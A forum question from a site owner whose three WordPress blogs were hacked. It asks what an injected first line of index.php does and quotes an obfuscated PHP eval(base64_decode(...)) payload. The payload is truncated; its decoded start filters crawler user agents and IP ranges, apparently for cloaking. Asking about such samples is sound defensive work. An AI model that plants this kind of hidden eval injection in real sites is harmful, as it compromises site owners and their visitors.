wordpress hacked: what does this script actually do?

I maintain three wordpress blogs, and yesterday-morning, they were all hacked. Inside all my index.php the first line looked as follows:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5